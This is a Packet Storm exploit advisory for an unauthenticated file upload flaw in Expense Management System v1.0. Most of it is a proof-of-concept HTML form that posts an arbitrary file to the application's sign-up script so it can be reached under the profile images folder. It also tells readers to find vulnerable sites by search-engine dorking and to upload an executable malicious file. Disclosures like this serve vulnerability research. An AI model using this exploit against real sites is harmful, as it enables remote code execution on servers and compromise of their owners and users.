Expense Management System version 1.0 suffers from an arbitrary file upload vulnerability.
66dcc2bef5476bdd41cb8a565bbbb520bf475144f6f9a701f2b3796408386473=============================================================================================================================================
| # Title : Expense Management System v1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |
| # Vendor : https://www.kashipara.com/project/download/project2/user/2024/202406/kashipara.com_expensemanagement-zip.zip |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following html code uploads a executable malicious file remotely .
[+] Go to the line 11.
[+] Set the target site link Save changes and apply .
[+] save code as poc.html .
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign Up Form</title>
</head>
<body>
<!-- Sign Up Form -->
<form action="http://127.0.0.1/ExpenseManagement/templates/2-sign-up.php" method="POST" enctype="multipart/form-data">
<!-- File input -->
<label for="inpFile">Upload File:</label>
<input type="file" id="inpFile" name="inpFile">
<br>
<!-- Full name input -->
<label for="full_name">Full Name:</label>
<input type="text" id="full_name" name="full_name">
<br>
<!-- Email input -->
<label for="email">Email:</label>
<input type="email" id="email" name="email">
<br>
<!-- Username input -->
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<br>
<!-- Password input -->
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<br>
<!-- Confirm password input -->
<label for="password_confirm">Confirm Password:</label>
<input type="password" id="password_confirm" name="password_confirm">
<br>
<!-- Submit button -->
<input type="submit" name="register" value="Register">
</form>
</body>
</html>
[+] http://127.0.0.1/ExpenseManagement/static/profileImages/
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed